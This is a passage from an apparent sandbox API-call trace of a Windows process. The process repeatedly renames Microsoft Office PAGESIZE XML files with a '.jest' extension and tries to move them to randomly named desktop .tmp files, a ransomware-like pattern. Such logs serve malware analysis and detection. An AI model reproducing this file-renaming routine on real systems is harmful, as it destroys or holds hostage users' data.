Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YszZpW_Jv4UklyXcFNJDkUd2xkQhYltQ9hYBSdV3ZQHaX_B4xhzusm9tGQSKUUtMoAC -IEqvrkluSPmU0juXuS6_QmAsJYO1fBQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yszzpw_jv4uklyxcfnjdkud2xkqhyltq9hybsdv3zqhax_b4xhzusm9tgqskuutmoac -ieqvrkluspmu0juxus6_qmasjyo1fbq.tmp")) returned 0 [0167.696] GetLastError () returned 0x2 [0167.696] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.702] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.jest")) returned 1 [0167.705] VarBstrFromR4 (in: fltIn=0x479458a2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.27") returned 0x0 [0167.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PdtqXc37QOpMym-tsfl8W1gPfOeqtkusBF64gF1GcA0R4E4E7_uQZnHKho2ZkrbU-aO0q2Ch3u_TtbB_wZuP9Ql xbmeLcDpCDdya.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pdtqxc37qopmym-tsfl8w1gpfoeqtkusbf64gf1gca0r4e4e7_uqznhkho2zkrbu-ao0q2ch3u_ttbb_wzup9ql xbmelcdpcddya.tmp")) returned 0 [0167.706] GetLastError () returned 0x2 [0167.707] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.jest")) returned 1 [0167.709] VarBstrFromR4 (in: fltIn=0x479458a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.28") returned 0x0 [0167.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fvJItcAJ4K xfC zy8FYo5 U_8v0RDJvS vRUnZpCCdGr3_7fjc-_sHbpYYgSkpfC4F_-O1mxzM-oMsVEU9WS9kM4a6m998LJ4Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvjitcaj4k xfc zy8fyo5 u_8v0rdjvs vrunzpccdgr3_7fjc-_shbpyygskpfc4f_-o1mxzm-omsveu9ws9km4a6m998lj4z.tmp")) returned 0 [0167.711] GetLastError () returned 0x2 [0167.711] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.711] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.jest")) returned 1 [0167.713] VarBstrFromR4 (in: fltIn=0x479458a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.28") returned 0x0 [0167.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\48llkNV0sDIkPmrWAI rBvjT2KgB52vr0e4S04 Ibtf9vi2T9VuKpEJvwvMSkeXPXEKh2AKc7XQkQXE0pyxU_Bbdrzs6zGkkC-bif.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\48llknv0sdikpmrwai rbvjt2kgb52vr0e4s04 ibtf9vi2t9vukpejvwvmskexpxekh2akc7xqkqxe0pyxu_bbdrzs6zgkkc-bif.tmp")) returned 0 [0167.714] GetLastError () returned 0x2 [0167.714] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.jest")) returned 1 [0167.716] VarBstrFromR4 (in: fltIn=0x479458a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.28") returned 0x0 [0167.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Btl9eZK3mYZPq-9rwi_W5-qtbLQ2YeI4W9oweMmsc2SP8X0TPmA7F3 r8fU3-TEixAVOn3lWzuPLVshHUbmOTBzFDtyI PSlGdLd_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\btl9ezk3myzpq-9rwi_w5-qtblq2yei4w9owemmsc2sp8x0tpma7f3 r8fu3-teixavon3lwzuplvshhubmotbzfdtyi pslgdld_.tmp")) returned 0 [0167.717] GetLastError () returned 0x2 [0167.717] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.jest")) returned 1 [0167.719] VarBstrFromR4 (in: fltIn=0x479458a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.28") returned 0x0 [0167.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\74VcRzONQEY GaNlLgU p3XR2rmxSOT04w_tkWIVLYZlw9vTzmH-pWjXE_ YYj7BproRW9PMc6iQlh4_JjpARQ TvMJW70wF80S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\74vcrzonqey ganllgu p3xr2rmxsot04w_tkwivlyzlw9vtzmh-pwjxe_ yyj7bprorw9pmc6iqlh4_jjparq tvmjw70wf80s.tmp")) returned 0 [0167.720] GetLastError () returned 0x2 [0167.720] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.jest")) returned 1 [0167.723] VarBstrFromR4 (in: fltIn=0x479458a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.28") returned 0x0 [0167.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1epYMEpmDDC_5ZqVE8S33MrT3 x RtTMy2MviJ6LH6lhgTzO_dTxbpFdL49L44fORzC-Cv3WpAyBPXpAcq7GvM70SYNEB0KZfL3Ij.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1epymepmddc_5zqve8s33mrt3 x rttmy2mvij6lh6lhgtzo_dtxbpfdl49l44forzc-cv3wpaybpxpacq7gvm70syneb0kzfl3ij.tmp")) returned 0 [0167.724] GetLastError () returned 0x2 [0167.724] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.jest")) returned 1 [0167.727] VarBstrFromR4 (in: fltIn=0x479458a6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.3") returned 0x0 [0167.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z6AsO0z2TWnMc-ASl Upc7V8rC7ecc PI0DJT5JVb7Y0XWFrF60GeQBUicm2PFcwE Qjzwnot_9EKyX9Y0MwgAokkbYs-pukjT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z6aso0z2twnmc-asl upc7v8rc7ecc pi0djt5jvb7y0xwfrf60geqbuicm2pfcwe qjzwnot_9ekyx9y0mwgaokkbys-pukjt.tmp")) returned 0 [0167.728] GetLastError () returned 0x2 [0167.728] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml.jest")) returned 1 [0167.731] VarBstrFromR4 (in: fltIn=0x479458a6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.3") returned 0x0 [0167.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFD CRfRf0u RpenjI0Cy5h_mcfDFerPHwkpCMrES537m-AqwYsxw i77-AZ0OjNxVEpi1xIi2wYHWtiSvH72-C_uYSRVcV5C_H4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfd crfrf0u rpenji0cy5h_mcfdferphwkpcmres537m-aqwysxw i77-az0ojnxvepi1xii2wyhwtisvh72-c_uysrvcv5c_h4.tmp")) returned 0 [0167.732] GetLastError () returned 0x2 [0167.732] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.jest")) returned 1 [0167.734] VarBstrFromR4 (in: fltIn=0x479458a6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.3") returned 0x0 [0167.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JJ6hxxnkAykXxlkzUqN87WTrTiSrgsZJhb6m7ljQACz8LydIzlVBf5XlcYZ9JIuSOwVYYhsewyksoISxpYjJBgvzDj6VMobLC3Ohx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jj6hxxnkaykxxlkzuqn87wtrtisrgszjhb6m7ljqacz8lydizlvbf5xlcyz9jiusowvyyhsewyksoisxpyjjbgvzdj6vmoblc3ohx.tmp")) returned 0 [0167.735] GetLastError () returned 0x2 [0167.736] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.736] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.jest")) returned 1 [0167.744] VarBstrFromR4 (in: fltIn=0x479458a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.31") returned 0x0 [0167.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ySOqAIvOkAQH94C3mBFpv4zix7Yhwfwhy2j1m0G_xBiJTsu BhMHciBb6gBNHr-Cq3VP kDxrrHA W8AHlyxFMfygA7WB4IoVD1V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ysoqaivokaqh94c3mbfpv4zix7yhwfwhy2j1m0g_xbijtsu bhmhcibb6gbnhr-cq3vp kdxrrha w8ahlyxfmfyga7wb4iovd1v.tmp")) returned 0 [0167.745] GetLastError () returned 0x2 [0167.745] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.jest")) returned 1 [0167.748] VarBstrFromR4 (in: fltIn=0x479458a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.31") returned 0x0 [0167.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aJYdrobQtIIShcdnXz_EkbbE2 o3MCxCnctb02yN43JMsEIkXlakSifsOx4RiI6nofxzyYU7Y2QfV-M 1nJKVs094kJZnqHf-eS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ajydrobqtiishcdnxz_ekbbe2 o3mcxcnctb02yn43jmseikxlaksifsox4rii6nofxzyyu7y2qfv-m 1njkvs094kjznqhf-es.tmp")) returned 0 [0167.749] GetLastError () returned 0x2 [0167.749] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.jest")) returned 1 [0167.751] VarBstrFromR4 (in: fltIn=0x479458a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.31") returned 0x0 [0167.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5kuf2I6dvXQ97o-dwtgrLWS5CtYPZw zFc27GeWqXi02ABv2Q_ajb3ePdRMWRDGIpVTbHANvi rzWuij4s10hetl 7de7Tdv3HxEu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5kuf2i6dvxq97o-dwtgrlws5ctypzw zfc27gewqxi02abv2q_ajb3epdrmwrdgipvtbhanvi rzwuij4s10hetl 7de7tdv3hxeu.tmp")) returned 0 [0167.752] GetLastError () returned 0x2 [0167.753] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.753] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.jest")) returned 1 [0167.755] VarBstrFromR4 (in: fltIn=0x479458a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.31") returned 0x0 [0167.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C0hddT6XmCO Fkg-9JyxgNEdKq8Fdk1B 1mpjFjDq8PPv_ft8XRaWK1YzFHPhDi393yIhdl8KzPrNNOheEFH7EHU0y_KfDEO9TAIh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c0hddt6xmco fkg-9jyxgnedkq8fdk1b 1mpjfjdq8ppv_ft8xrawk1yzfhphdi393yihdl8kzprnnoheefh7ehu0y_kfdeo9taih.tmp")) returned 0 [0167.756] GetLastError () returned 0x2 [0167.756] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.jest")) returned 1 [0167.758] VarBstrFromR4 (in: fltIn=0x479458aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.33") returned 0x0 [0167.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kYF7WrrihP7LuPiVpAf6Lvs-ZGhzGz0d-Cdn Wz9WxOpxS9ZesFid-1-_poHQegvRKLYIqZLiFrsfRciv9UJ_xJHVji9lTfJ6hBq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kyf7wrrihp7lupivpaf6lvs-zghzgz0d-cdn wz9wxopxs9zesfid-1-_pohqegvrklyiqzlifrsfrciv9uj_xjhvji9ltfj6hbq.tmp")) returned 0 [0167.759] GetLastError () returned 0x2 [0167.759] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.jest")) returned 1 [0167.761] VarBstrFromR4 (in: fltIn=0x479458aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.33") returned 0x0 [0167.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0 